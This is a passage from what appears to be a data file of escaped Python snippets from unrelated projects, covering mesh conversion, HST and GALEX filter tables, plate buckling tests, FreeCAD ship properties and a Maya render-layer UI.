ValueError(\"Cannot make a 3D mesh from the 2D mesh of type {}\".format(self.element_type))\n\n mm.edges = np.zeros((1,p+1)).astype(np.uint64)\n mm.points = np.copy(self.points)\n mm.nelem = 1\n mm.nnode = mm.points.shape[0]\n mm.faces = np.copy(self.elements)\n mm.boundary_face_to_element = np.zeros((mm.faces.shape[0],2)).astype(np.int64)\n mm.boundary_face_to_element[:,0] = 1\n\n sys.stdout = sys.__stdout__\n\n return mm","def generate_surface_temp(self):\n tcl_name = output_folder + \"/surface_output_\" + str(self.input_pdb_path).split(\"/\")[-1][0:-4] + \"_\" + str(self.current_chain) + \".tcl\"\n opened_file = open(tcl_name, \"w\")\n writeable_string = surface(self.input_pdb_path).surface_template(chain = str(self.current_chain))\n opened_file.write(writeable_string)","def New(*args, **kargs):\n obj = itkMeshSourcePSUS3.__New_orig__()\n import itkTemplate\n itkTemplate.New(obj, *args, **kargs)\n return obj","def create_test_firmware_component(**kw):\n fw_cmp_values = get_test_firmware_component(**kw)\n if 'id' not in kw:\n del fw_cmp_values['id']\n dbapi = db_api.get_instance()\n return dbapi.create_firmware_component(fw_cmp_values)","def make_libfile():\n # wfc3_obsmodes_uvis\n wfc3_uvis = [\n \"f218w\",\n \"f225w\",\n \"f275w\",\n \"f336w\",\n \"f390m\",\n \"f390w\",\n \"f410m\",\n \"f438w\",\n \"f467m\",\n \"f475w\",\n \"f547m\",\n \"f555w\",\n \"f606w\",\n \"f621m\",\n \"f625w\",\n \"f689m\",\n \"f763m\",\n \"f775w\",\n \"f814w\",\n \"f845m\",\n ]\n\n wfc3_ir = [\n \"f098m\",\n \"f105w\",\n \"f110w\",\n \"f125w\",\n \"f127m\",\n \"f139m\",\n \"f140w\",\n \"f153m\",\n \"f160w\",\n ]\n\n wfpc2 = [\n \"f122m\",\n \"f157w\",\n \"f336w\",\n \"f410m\",\n \"f467m\",\n \"f547m\",\n \"f439w\",\n \"f569w\",\n \"f675w\",\n \"f791w\",\n \"f170w\",\n \"f185w\",\n \"f218w\",\n \"f255w\",\n \"f300w\",\n \"f380w\",\n \"f555w\",\n \"f622w\",\n \"f450w\",\n \"f606w\",\n \"f702w\",\n \"f814w\",\n ]\n\n acs_wfc = [\n \"f435w\",\n \"f475w\",\n \"f550m\",\n \"f555w\",\n \"f606w\",\n \"f625w\",\n \"f775w\",\n \"f814w\",\n ]\n # galex\n galex = [\"fuv\", \"nuv\"]\n\n # Open hd5 file for writing\n hf = h5py.File(__ROOT__ + \"filters.hd5\", \"w\")\n\n # Create group for nice hierarchical structure\n f = hf.create_group(\"filters\")\n\n # Define arrays for \"contents\" / descriptive information\n tablenames = []\n observatories = []\n instruments = []\n names = []\n norms = []\n cwaves = []\n pwaves = []\n comments = []\n\n # Loop through WFC3_UVIS filters\n for filt in wfc3_uvis:\n\n # define uvis 1 and uvis2 modes\n mode_1 = \"wfc3, uvis1, \" + filt\n mode_2 = \"wfc3, uvis2, \" + filt\n\n # pull bandpasses from stsynphot for the two uvis modes\n bp_1 = stsyn.band(mode_1)\n bp_2 = stsyn.band(mode_2)\n\n # extract the wavelength array\n wave = bp_1.waveset\n\n # compute the average bandpass between uvis1 and uvis2\n bp_avg = np.average([bp_1(wave), bp_2(wave)], axis=0)\n\n # define the filter name\n filter_name = \"HST_WFC3_\" + filt.upper()\n\n # build array of wavelength and throughput\n arr = np.array(\n list(zip(wave.value.astype(np.float64), bp_avg.astype(np.float64))),\n dtype=[(\"WAVELENGTH\", \"float64\"), (\"THROUGHPUT\", \"float64\")],\n )\n\n # append dataset to the hdf5 filters group\n f.create_dataset(filter_name, data=arr)\n\n # generate filter instance to compute relevant info\n newfilt = phot.Filter(wave, bp_avg, name=filt.upper())\n\n # populate contents lists with relevant information\n tablenames.append(filter_name)\n observatories.append(\"HST\")\n instruments.append(\"WFC3\")\n names.append(newfilt.name)\n norms.append(newfilt.norm.value)\n cwaves.append(newfilt.cl.value)\n pwaves.append(newfilt.lpivot.value)\n comments.append(\"avg of uvis1 and uvis2\")\n\n # Loop through WFC3_IR filters\n for filt in wfc3_ir:\n\n # define ir mode\n mode = \"wfc3, ir, \" + filt\n\n # pull bandpasses from stsynphot for the two uvis modes\n bp = stsyn.band(mode)\n\n # extract the wavelength array\n wave = bp.waveset\n\n # define the filter name\n filter_name = \"HST_WFC3_\" + filt.upper()\n\n # build array of wavelength and throughput\n arr = np.array(\n list(zip(wave.value.astype(np.float64), bp(wave).astype(np.float64))),\n dtype=[(\"WAVELENGTH\", \"float64\"), (\"THROUGHPUT\", \"float64\")],\n )\n\n # append dataset to the hdf5 filters group\n f.create_dataset(filter_name, data=arr)\n\n # generate filter instance to compute relevant info\n newfilt = phot.Filter(wave, bp(wave), name=filt.upper())\n\n # populate contents lists with relevant information\n tablenames.append(filter_name)\n observatories.append(\"HST\")\n instruments.append(\"WFC3\")\n names.append(newfilt.name)\n norms.append(newfilt.norm.value)\n cwaves.append(newfilt.cl.value)\n pwaves.append(newfilt.lpivot.value)\n comments.append(\"\")\n\n # Loop through WFPC2 filters\n for filt in wfpc2:\n\n # define chips 1, 2, 3, 4 modes\n mode_1 = \"wfpc2, 1, \" + filt\n mode_2 = \"wfpc2, 2, \" + filt\n mode_3 = \"wfpc2, 3, \" + filt\n mode_4 = \"wfpc2, 4, \" + filt\n\n # pull bandpasses from stsynphot for the two uvis modes\n bp_1 = stsyn.band(mode_1)\n bp_2 = stsyn.band(mode_2)\n bp_3 = stsyn.band(mode_3)\n bp_4 = stsyn.band(mode_4)\n\n # extract the wavelength array\n wave = bp_1.waveset\n\n # compute the average bandpass between uvis1 and uvis2\n bp_avg = np.average([bp_1(wave), bp_2(wave), bp_3(wave), bp_4(wave)], axis=0)\n\n # define the filter name\n filter_name = \"HST_WFPC2_\" + filt.upper()\n\n # build array of wavelength and throughput\n arr = np.array(\n list(zip(wave.value.astype(np.float64), bp_avg.astype(np.float64))),\n dtype=[(\"WAVELENGTH\", \"float64\"), (\"THROUGHPUT\", \"float64\")],\n )\n\n # append dataset to the hdf5 filters group\n f.create_dataset(filter_name, data=arr)\n\n # generate filter instance to compute relevant info\n newfilt = phot.Filter(wave, bp_avg, name=filt.upper())\n\n # populate contents lists with relevant information\n tablenames.append(filter_name)\n observatories.append(\"HST\")\n instruments.append(\"WFPC2\")\n names.append(newfilt.name)\n norms.append(newfilt.norm.value)\n cwaves.append(newfilt.cl.value)\n pwaves.append(newfilt.lpivot.value)\n comments.append(\"avg of 1, 2, 3, 4\")\n\n # Loop through ACS filters\n for filt in acs_wfc:\n\n # define wfc1, wfc2 modes\n mode_1 = \"acs, wfc1, \" + filt\n mode_2 = \"acs, wfc2, \" + filt\n\n # pull bandpasses from stsynphot for the two uvis modes\n bp_1 = stsyn.band(mode_1)\n bp_2 = stsyn.band(mode_2)\n\n # extract the wavelength array\n wave = bp_1.waveset\n\n # compute the average bandpass between uvis1 and uvis2\n bp_avg = np.average([bp_1(wave), bp_2(wave)], axis=0)\n\n # define the filter name\n filter_name = \"HST_ACS_WFC_\" + filt.upper()\n\n # build array of wavelength and throughput\n arr = np.array(\n list(zip(wave.value.astype(np.float64), bp_avg.astype(np.float64))),\n dtype=[(\"WAVELENGTH\", \"float64\"), (\"THROUGHPUT\", \"float64\")],\n )\n\n # append dataset to the hdf5 filters group\n f.create_dataset(filter_name, data=arr)\n\n # generate filter instance to compute relevant info\n newfilt = phot.Filter(wave, bp_avg, name=filt.upper())\n\n # populate contents lists with relevant information\n tablenames.append(filter_name)\n observatories.append(\"HST\")\n instruments.append(\"ACS_WFC\")\n names.append(newfilt.name)\n norms.append(newfilt.norm.value)\n cwaves.append(newfilt.cl.value)\n pwaves.append(newfilt.lpivot.value)\n comments.append(\"avg of wfc1 and wfc2\")\n\n # Loop through GALEX filters:\n for filt in galex:\n # define ir mode\n mode = \"galex,\" + filt\n\n # pull bandpasses from stsynphot for the two uvis modes\n bp = stsyn.band(mode)\n\n # extract the wavelength array\n wave = bp.waveset\n\n # define the filter name\n filter_name = \"GALEX_\" + filt.upper()\n\n # build array of wavelength and throughput\n arr = np.array(\n list(zip(wave.value.astype(np.float64), bp(wave).astype(np.float64))),\n dtype=[(\"WAVELENGTH\", \"float64\"), (\"THROUGHPUT\", \"float64\")],\n )\n\n # append dataset to the hdf5 filters group\n f.create_dataset(filter_name, data=arr)\n\n # generate filter instance to compute relevant info\n newfilt = phot.Filter(wave, bp(wave), name=filt.upper())\n\n # populate contents lists with relevant information\n tablenames.append(filter_name)\n observatories.append(\"GALEX\")\n instruments.append(\"GALEX\")\n names.append(newfilt.name)\n norms.append(newfilt.norm.value)\n cwaves.append(newfilt.cl.value)\n pwaves.append(newfilt.lpivot.value)\n comments.append(\"\")\n\n # smash the contents arrays together\n contents = np.array(\n list(\n zip(\n tablenames,\n observatories,\n instruments,\n names,\n norms,\n cwaves,\n pwaves,\n comments,\n )\n ),\n dtype=[\n (\"TABLENAME\", \"S40\"),\n (\"OBSERVATORY\", \"S30\"),\n (\"INSTRUMENT\", \"S30\"),\n (\"NAME\", \"S10\"),\n (\"NORM\", \"<f8\"),\n (\"CWAVE\", \"<f8\"),\n (\"PWAVE\", \"<f8\"),\n (\"COMMENT\", \"S100\"),\n ],\n )\n\n # add the contents array as an hd5 dataset\n hf.create_dataset(\"content\", data=contents)\n\n # close the file\n hf.close()","def New(*args, **kargs):\n obj = itkMeshSourcePSD3.__New_orig__()\n import itkTemplate\n itkTemplate.New(obj, *args, **kargs)\n return obj","def make_input_top(self) :\n stencil_length = str(len(self.core.stencil[0,:]))\n self.input_top = \\\n \"LABANPEL -- poropy driver \\n\" +\\\n \" 2 \" + stencil_length + \" \" + stencil_length +\\\n \" \" + str(len(self.core.pattern)+1) + \" 0 0 2 1.0\\n\" +\\\n \" \"+str(self.order)+\" 0 0 0 0 0 0 0 0\\n\"+\\\n \" 1 0. 0. 0 100 10 \" + str(self.tolerance)+\" \" +\\\n str(self.tolerance)+\" \"+str(self.tolerance) + \" 1.0\\n\" \n # horizontal subdivisions \n for i in range(0, self.dimension) :\n self.input_top += \" \"+str(self.subdivisions[i])\n self.input_top += \" \\n\"\n # vertical subdivisions\n for i in range(0, self.dimension) :\n self.input_top += \" \"+str(self.subdivisions[i])\n self.input_top += \" \\n\" \n # horizontal mesh widths\n for i in range(0, self.dimension) :\n self.input_top += \" \"+str(self.widths[i])\n self.input_top += \" \\n\" \n # vertical mesh widths\n for i in range(0, self.dimension) :\n self.input_top += \" \"+str(self.widths[i])\n self.input_top += \" \\n\"","def New(*args, **kargs):\n obj = itkMeshSourcePSF3.__New_orig__()\n import itkTemplate\n itkTemplate.New(obj, *args, **kargs)\n return obj","def __init__(self, obj, solids):\n # Add an unique property to identify the Ship instances\n tooltip = str(QtGui.QApplication.translate(\n \"Ship\",\n \"True if it is a valid ship instance, False otherwise\",\n None,\n QtGui.QApplication.UnicodeUTF8))\n obj.addProperty(\"App::PropertyBool\",\n \"IsShip\",\n \"Ship\",\n tooltip).IsShip = True\n # Add the main dimensions\n tooltip = str(QtGui.QApplication.translate(\n \"Ship\",\n \"Ship length [m]\",\n None,\n QtGui.QApplication.UnicodeUTF8))\n obj.addProperty(\"App::PropertyLength\",\n \"Length\",\n \"Ship\",\n tooltip).Length = 0.0\n tooltip = str(QtGui.QApplication.translate(\n \"Ship\",\n \"Ship breadth [m]\",\n None,\n QtGui.QApplication.UnicodeUTF8))\n obj.addProperty(\"App::PropertyLength\",\n \"Breadth\",\n \"Ship\",\n tooltip).Breadth = 0.0\n tooltip = str(QtGui.QApplication.translate(\n \"Ship\",\n \"Ship draft [m]\",\n None,\n QtGui.QApplication.UnicodeUTF8))\n obj.addProperty(\"App::PropertyLength\",\n \"Draft\",\n \"Ship\",\n tooltip).Draft = 0.0\n # Add the subshapes\n obj.Shape = Part.makeCompound(solids)\n tooltip = str(QtGui.QApplication.translate(\n \"Ship\",\n \"Set of external faces of the ship hull\",\n None,\n QtGui.QApplication.UnicodeUTF8))\n obj.addProperty(\"Part::PropertyPartShape\",\n \"ExternalFaces\",\n \"Ship\",\n tooltip)\n tooltip = str(QtGui.QApplication.translate(\n \"Ship\",\n \"Set of weight instances\",\n None,\n QtGui.QApplication.UnicodeUTF8))\n obj.addProperty(\"App::PropertyStringList\",\n \"Weights\",\n \"Ship\",\n tooltip).Weights = []\n tooltip = str(QtGui.QApplication.translate(\n \"Ship\",\n \"Set of tank instances\",\n None,\n QtGui.QApplication.UnicodeUTF8))\n obj.addProperty(\"App::PropertyStringList\",\n \"Tanks\",\n \"Ship\",\n tooltip).Tanks = []\n\n obj.Proxy = self","def __init__(self, fluid_domain, structure, io_data):\n super().__init__(fluid_domain, structure, io_data)\n\n self.intersector = Intersector(self.fluid_domain, self.structure)\n #self.ghost_nodes = np.empty(shape=[self.fluid_domain.nverts, 8],dtype=float)\n self.ghost_nodes = np.empty(shape=[self.fluid_domain.nverts, 3], dtype=float)","def CreateSurface2DMeshfrom3DMesh(self):\n\n self.__do_memebers_exist__()\n\n p = self.InferPolynomialDegree()\n mm = Mesh()\n if self.element_type == \"hex\":\n mm.element_type = \"quad\"\n elif self.element_type == \"tet\":\n mm.element_type = \"tri\"\n else:\n raise ValueError(\"Cannot make a 2D mesh from the 3D mesh of type {}\".format(self.element_type))\n\n unique_faces, inv_faces = np.unique(self.faces,return_inverse=True)\n mm.points = self.points[unique_faces,:]\n mm.nnode = mm.points.shape[0]\n aranger = np.arange(mm.nnode)\n mm.elements = aranger[inv_faces].reshape(self.faces.shape)\n mm.nelem = mm.elements.shape[0]\n mm.GetBoundaryEdges()\n\n return mm","def test_linear_buckling_iso_CCSS(plot_static=False, plot_lb=False):\n # number of nodes\n nx = 5 # along x\n ny = 5 # along y\n\n # getting integration points\n nint = 4\n points, weights = get_points_weights(nint=nint)\n\n # geometry\n a = 3 # along x\n b = 3 # along y\n\n # material properties\n E = 200e9\n nu = 0.3\n laminaprop = (E, E, nu)\n stack = [0]\n h = 0.001\n lam = read_stack(stack=stack, plyt=h, laminaprop=laminaprop)\n\n # creating mesh\n x = np.linspace(0, a, nx)\n y = np.linspace(0, b, ny)\n xmesh, ymesh = np.meshgrid(x, y)\n\n # node coordinates and position in the global matrix\n ncoords = np.vstack((xmesh.T.flatten(), ymesh.T.flatten())).T\n nids = 1 + np.arange(ncoords.shape[0])\n nid_pos = dict(zip(nids, np.arange(len(nids))))\n\n # identifying nodal connectivity for plate elements\n # similar than Nastran's CQUAD4\n #\n # ^ y\n # |\n #\n # 4 ________ 3\n # | |\n # | | --> x\n # | |\n # |_______|\n # 1 2\n\n\n nids_mesh = nids.reshape(nx, ny)\n n1s = nids_mesh[:-1, :-1].flatten()\n n2s = nids_mesh[1:, :-1].flatten()\n n3s = nids_mesh[1:, 1:].flatten()\n n4s = nids_mesh[:-1, 1:].flatten()\n\n num_elements = len(n1s)\n print('num_elements', num_elements)\n\n N = DOF*nx*ny\n Kr = np.zeros(KC0_SPARSE_SIZE*num_elements, dtype=INT)\n Kc = np.zeros(KC0_SPARSE_SIZE*num_elements, dtype=INT)\n Kv = np.zeros(KC0_SPARSE_SIZE*num_elements, dtype=DOUBLE)\n KGr = np.zeros(KG_SPARSE_SIZE*num_elements, dtype=INT)\n KGc = np.zeros(KG_SPARSE_SIZE*num_elements, dtype=INT)\n KGv = np.zeros(KG_SPARSE_SIZE*num_elements, dtype=DOUBLE)\n init_k_KC0 = 0\n init_k_KG = 0\n\n plates = []\n for n1, n2, n3, n4 in zip(n1s, n2s, n3s, n4s):\n plate = BFSPlate2D()\n plate.n1 = n1\n plate.n2 = n2\n plate.n3 = n3\n plate.n4 = n4\n plate.c1 = DOF*nid_pos[n1]\n plate.c2 = DOF*nid_pos[n2]\n plate.c3 = DOF*nid_pos[n3]\n plate.c4 = DOF*nid_pos[n4]\n plate.ABD = lam.ABD\n plate.lex = a/(nx - 1)\n plate.ley = b/(ny - 1)\n plate.init_k_KC0 = init_k_KC0\n plate.init_k_KG = init_k_KG\n update_KC0(plate, points, weights, Kr, Kc, Kv)\n init_k_KC0 += KC0_SPARSE_SIZE\n init_k_KG += KG_SPARSE_SIZE\n plates.append(plate)\n\n KC0 = coo_matrix((Kv, (Kr, Kc)), shape=(N, N)).tocsc()\n\n # applying boundary conditions\n\n # locating nodes\n bk = np.zeros(KC0.shape[0], dtype=bool) # constrained DOFs, can be used to prescribe displacements\n\n x = ncoords[:, 0]\n y = ncoords[:, 1]\n\n # applying boundary conditions\n # simply supported\n check = isclose(x, 0) | isclose(x, a) | isclose(y, 0) | isclose(y, b)\n bk[2::DOF] = check\n check = isclose(x, 0) | isclose(x, a)\n bk[3::DOF] = check\n # point supports\n check = isclose(x, a/2) & (isclose(y, 0) | isclose(y, b))\n bk[0::DOF] = check\n check = isclose(y, b/2) & (isclose(x, 0) | isclose(x, a))\n bk[1::DOF] = check\n\n # unconstrained nodes\n bu = ~bk # logical_not\n\n # defining external force vector\n fext = np.zeros(KC0.shape[0], dtype=float)\n\n # applying unitary load along u at x=a\n # nodes at vertices get 1/2 the force\n for plate in plates:\n pos1 = nid_pos[plate.n1]\n pos2 = nid_pos[plate.n2]\n pos3 = nid_pos[plate.n3]\n pos4 = nid_pos[plate.n4]\n if isclose(x[pos3], a):\n Nxx = -1\n xi = +1\n elif isclose(x[pos1], 0):\n Nxx = +1\n xi = -1\n else:\n continue\n lex = plate.lex\n ley = plate.ley\n indices = []\n c1 = DOF*pos1\n c2 = DOF*pos2\n c3 = DOF*pos3\n c4 = DOF*pos4\n cs = [c1, c2, c3, c4]\n for ci in cs:\n for i in range(DOF):\n indices.append(ci + i)\n fe = np.zeros(4*DOF, dtype=float)\n for j in range(nint):\n eta = points[j]\n plate.update_Nu(xi, eta)\n Nu = np.asarray(plate.Nu)\n fe += ley/2*weights[j]*Nu*Nxx\n fext[indices] += fe\n\n Kuu = KC0[bu, :][:, bu]\n fextu = fext[bu]\n\n # static solver\n uu = spsolve(Kuu, fextu)\n u = np.zeros(KC0.shape[0], dtype=float)\n u[bu] = uu\n\n if plot_static:\n import matplotlib\n matplotlib.use('TkAgg')\n import matplotlib.pyplot as plt\n plt.gca().set_aspect('equal')\n uplot = u[0::DOF].reshape(nx, ny).T\n vplot = u[1::DOF].reshape(nx, ny).T\n print('u extremes', uplot.min(), uplot.max())\n print('v extremes', vplot.min(), vplot.max())\n levels = np.linspace(uplot.min(), uplot.max(), 300)\n plt.contourf(xmesh, ymesh, uplot, levels=levels)\n plt.colorbar()\n plt.show()\n\n # eigenvalue solver\n\n # getting integration points\n for plate in plates:\n update_KG(u, plate, points, weights, KGr, KGc, KGv)\n KG = coo_matrix((KGv, (KGr, KGc)), shape=(N, N)).tocsc()\n KGuu = KG[bu, :][:, bu]\n\n # solving modified generalized eigenvalue problem\n # Original: (KC0 + lambda*KG)*v = 0\n # Modified: (-1/lambda)*KC0*v = KG*v #NOTE here we find (-1/lambda)\n num_eigenvalues = 5\n eigvals, eigvecsu = eigsh(A=KGuu, k=num_eigenvalues, which='SM', M=Kuu,\n tol=1e-6, sigma=1., mode='cayley')\n eigvals = -1./eigvals\n eigvecs = np.zeros((KC0.shape[0], num_eigenvalues), dtype=float)\n eigvecs[bu, :] = eigvecsu\n\n if plot_lb:\n import matplotlib\n matplotlib.use('TkAgg')\n import matplotlib.pyplot as plt\n plt.gca().set_aspect('equal')\n mode = 0\n wplot = eigvecs[2::DOF, mode].reshape(nx, ny).T\n levels = np.linspace(wplot.min(), wplot.max(), 300)\n plt.contourf(xmesh, ymesh, wplot, levels=levels)\n plt.colorbar()\n plt.show()\n\n kc = eigvals[0]/(E*np.pi**2*(h/b)**2/(12*(1 - nu**2))*h)\n assert isclose(kc, 6.6, rtol=0.05)","def __init__(self, params):\n super().__init__(params)\n params = self.params\n\n assert not params.packed_input, 'Packed input not implemented yet.'\n\n if not params.rel_pos_radius:\n raise ValueError('Invalid rel_pos_radius: %s' % params.rel_pos_radius)\n\n if params.rel_pos_emb_dim is None:\n rel_pos_emb_dim = params.hidden_dim\n else:\n rel_pos_emb_dim = params.rel_pos_emb_dim\n\n rel_pos_emb_tpl = layers.RelativePositionalEmbeddingLayer.Params().Set(\n radius=params.rel_pos_radius, dim=rel_pos_emb_dim)\n if rel_pos_emb_dim != params.hidden_dim:\n # Projection layer for relative position encoding\n dim_per_head = params.hidden_dim // params.num_heads\n pos_proj_tpl = params.proj_tpl.Copy().Set(\n input_dim=rel_pos_emb_dim,\n num_heads=params.num_heads,\n dim_per_head=dim_per_head,\n use_bias=False)\n else:\n pos_proj_tpl = None\n\n self.CreateChild('key_emb', rel_pos_emb_tpl)\n # Add projection layer if rel_pos_emb_dim is different from hidden_dim.\n if pos_proj_tpl is not None:\n self.CreateChild('key_pos_proj', pos_proj_tpl)\n if not params.skip_value_emb:\n self.CreateChild('value_emb', rel_pos_emb_tpl)\n if pos_proj_tpl is not None:\n self.CreateChild('value_pos_proj', pos_proj_tpl)\n self.CreateChild('pos_atten_logits', params.pos_atten_logits_tpl)","def on_load(self):\n filename = QtGui.QFileDialog.getOpenFileName(self, \"Open file\", \"\", \"*.scc\")\n print(\"Load file \", filename)\n if filename == \"\":\n return\n f = open(filename, mode=\"rb\")\n state = pickle.load(f)\n f.close() \n cmp = ComponentRect()\n cmp.set_state(state)\n self.mdl.set_component(cmp)","def __init__(self):\n self.label = \"Surface Generation\"\n self.alias = \"far77\"\n\n # List of tool classes associated with this toolbox\n self.tools = [LineToFar77]","def __init__(self, fluid_domain, structure, io_data):\n super().__init__(fluid_domain, structure, io_data)\n\n self.intersector = Intersector(self.fluid_domain, self.structure)\n #self.ghost_nodes = np.empty(shape=[self.fluid_domain.nverts, 8],dtype=float)\n self.ghost_nodes = np.empty(shape=[self.fluid_domain.nverts, 6], dtype=float)","def createUI(self):\n\n q.getQItem(windowID, QtWidgets.QWidget)\n cmds.setParent(q.fullPath)\n\n # ################################################\n # Active Render Layer\n\n # cmds.separator(height=12, style='none')\n addFrameLayout(\n '%s_frameLayoutLayers' % windowID,\n 'Visible Render Layer', collapsable=False,\n labelVisible=False,\n marginHeight=0\n )\n\n addRowLayout(\n '%s_rowLayoutActiveRenderLayer' % windowID,\n 4,\n columnAlign4=('left', 'left', 'right', 'right'),\n columnAttach4=('left', 'both', 'right', 'right'),\n columnWidth4=(\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.075,\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.775,\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.075,\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.075\n )\n )\n\n\n addButton('%s_addNewLayer' % windowID, 'New', rsAddNewLayer,\n image='RS_create_layer', size=(21, 21))\n addOptionMenu('%s_selectActiveLayer' % windowID,\n 'Active Layer ', (), rsSelectActiveLayer)\n addButton('rsOpenRenderSetupWindow', 'Render Setup',\n rsOpenRenderSetupWindow, image='render_setup.png',\n size=(21, 21))\n addButton('rsOpenUnifiedRenderGlobals', 'Render Globals',\n rsOpenUnifiedRenderGlobals, image='render_setup.png',\n size=(21, 21))\n\n # ################################################\n # Work Render Layers\n\n cmds.setParent(q.fullPath)\n addFrameLayout('%s_frameLayoutLayersB' % windowID,\n 'Work Render Layer', collapsable=False,\n labelVisible=False, marginHeight=0)\n addRowLayout('%s_rowLayoutVisibleRenderLayer' % windowID, 3,\n columnAlign3=('left', 'left', 'right'),\n columnAttach3=('left', 'both', 'right'),\n columnWidth3=((WINDOW_WIDTH - FRAME_MARGIN * 2)\n * 0.075, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.85,\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.075))\n\n cmds.separator()\n addOptionMenu('%s_selectVisibleLayer' % windowID,\n 'Visible Layer ', (), rsSelectVisibleLayer)\n cmds.separator()\n\n cmds.setParent(q.fullPath)\n cmds.separator(height=12, style='none')\n\n # ################################################\n # Collections\n\n addFrameLayout('%s_frameLayout02' % windowID, 'Collections',\n labelVisible=False, marginHeight=0)\n\n addRowLayout(\n '%s_rowLayout02' % windowID,\n 6,\n columnAlign6=('left', 'left', 'left', 'left', 'left', 'left'),\n columnAttach6=('both', 'both', 'right', 'right', 'right', 'right'),\n columnWidth6=(\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.18,\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.18,\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.415,\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.075,\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.075,\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.075,\n )\n )\n\n addButton('rsAddCollection', 'Add', rsAddCollection)\n addButton('rsRemoveCollection', 'Remove', rsRemoveCollection)\n addButton('rsSelectShapes', 'Select Shapes', rsSelectShapes,\n image='selectObject.png', size=(21, 21))\n addButton('rsRenameShader', 'Rename Shader', rsRenameShader,\n size=(21, 21), image='QR_rename.png')\n addButton('rsDuplicateShader', 'Duplicate Shader',\n duplicateShader, size=(21, 21), image='newPreset.png')\n addButton('rsRefreshUI', 'Refresh', rsRefreshUI, size=(21, 21),\n image='QR_refresh.png')\n\n # ###########################\n # Filter List\n\n cmds.setParent('%s_frameLayout02' % windowID)\n addRowLayout('%s_rowLayout03' % windowID, 2,\n columnAlign2=('left', 'left'),\n columnAttach2=('both', 'both'),\n columnWidth2=((WINDOW_WIDTH - FRAME_MARGIN * 2)\n * 0.6, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.42))\n\n addTextField('%s_filterShaderList' % windowID, 'Search',\n rsFilterShaderList_off, rsFilterShaderList_off,\n window.updateUI)\n addOptionMenu('rsShaderGroups', '|', (), rsShaderGroups)\n\n # ###########################\n # The shaders scroll list\n\n cmds.setParent('%s_frameLayout02' % windowID)\n addRowLayout('%s_rowLayout04' % windowID, 1, columnAlign1='both', columnAttach1='both', columnWidth1=WINDOW_WIDTH\n + 12)\n addTextScrollList('%s_ShaderScrollList' % windowID, (),\n rsShaderScrollList_doubleClick,\n rsShaderScrollList_onSelect,\n rsShaderScrollList_deleteKey)\n\n # Add popup menu:\n\n cmds.popupMenu('rsShaderScrollListPopupMenu',\n parent='%s_ShaderScrollList' % windowID,\n allowOptionBoxes=False, markingMenu=True,\n postMenuCommand=postMenuCommand)\n cmds.menuItem('%s_popupMenuItem02' % windowID,\n label='Duplicate Shader', command=duplicateShader)\n cmds.menuItem(divider=True)\n cmds.menuItem('%s_popupMenuItem04' % windowID,\n label='Graph Shader')\n cmds.menuItem(divider=True)\n cmds.menuItem('%s_popupMenuItem03' % windowID,\n label='Select Shader')\n cmds.menuItem(divider=True)\n cmds.menuItem('%s_popupMenuItem05' % windowID,\n label='Select Assigned Shapes')\n cmds.menuItem('%s_popupMenuItem06' % windowID,\n label='Select Assigned Transforms')\n\n # ##################################################\n # Arnold Property Overrides\n\n cmds.setParent('%s_frameLayout02' % windowID)\n cmds.columnLayout(\n '%s_columnLayout20' % windowID,\n width=WINDOW_WIDTH - FRAME_MARGIN * 2,\n columnAlign='left',\n columnAttach=('left', 0),\n adjustableColumn=False,\n rowSpacing=0,\n )\n\n cmds.separator(parent='%s_columnLayout20' % windowID, height=4,\n style='none')\n\n addRowLayout('%s_rowLayout05' % windowID, 2,\n columnAlign2=('left', 'both'),\n columnAttach2=('left', 'right'),\n columnWidth2=((WINDOW_WIDTH - FRAME_MARGIN * 2)\n * 0.75, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.25))\n addText('%s_textArnoldPropertyOverridesLabel' % windowID,\n 'Apply Arnold Property Overrides', 'plainLabelFont')\n addCheckBox('rsArnoldPropertyOverridesCheckBox', '',\n rsArnoldPropertyOverridesCheckBox,\n rsArnoldPropertyOverridesCheckBox)\n cmds.separator(parent='%s_columnLayout20' % windowID, height=4,\n style='none')\n\n # Column Layout to toggle\n\n cmds.setParent('%s_columnLayout20' % windowID)\n cmds.columnLayout(\n '%s_columnLayout02' % windowID,\n width=WINDOW_WIDTH - FRAME_MARGIN * 2,\n columnAlign='left',\n columnAttach=('left', 0),\n adjustableColumn=False,\n rowSpacing=0,\n )\n\n addCheckboxes('%s_columnLayout02' % windowID)\n cmds.columnLayout('%s_columnLayout02' % windowID, edit=True,\n visible=False)\n\n # #################################################\n # Shader Override\n\n cmds.setParent('%s_frameLayout02' % windowID)\n cmds.columnLayout(\n '%s_columnLayout21' % windowID,\n width=WINDOW_WIDTH - FRAME_MARGIN * 2,\n columnAlign='left',\n columnAttach=('left', 0),\n adjustableColumn=False,\n rowSpacing=0,\n )\n cmds.separator(parent='%s_columnLayout21' % windowID, height=4,\n style='none')\n addRowLayout('%s_rowLayout06' % windowID, 2,\n columnAlign2=('left', 'right'),\n columnAttach2=('left', 'right'),\n columnWidth2=((WINDOW_WIDTH - FRAME_MARGIN * 2)\n * 0.75, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.25))\n addText('%s_shaderOverrideLabel' % windowID, 'Shader Override',\n 'plainLabelFont')\n addCheckBox('%s_shaderOverrideCheckbox' % windowID, '',\n rsShaderOverrideCheckbox, rsShaderOverrideCheckbox)\n cmds.separator(parent='%s_columnLayout21' % windowID, height=4,\n style='none')\n\n cmds.setParent('%s_columnLayout21' % windowID)\n cmds.columnLayout(\n '%s_columnLayout03' % windowID,\n width=WINDOW_WIDTH - FRAME_MARGIN * 2,\n columnAlign='left',\n columnAttach=('both', 4),\n adjustableColumn=True,\n rowSpacing=0,\n )\n cmds.setParent('%s_columnLayout03' % windowID)\n addOptionMenu('%s_optionMenu02' % windowID, 'Select: ', (),\n rsShaderOverridesMenu)\n\n global selectedShaderOverride\n\n # default selection\n\n selectedShaderOverride = 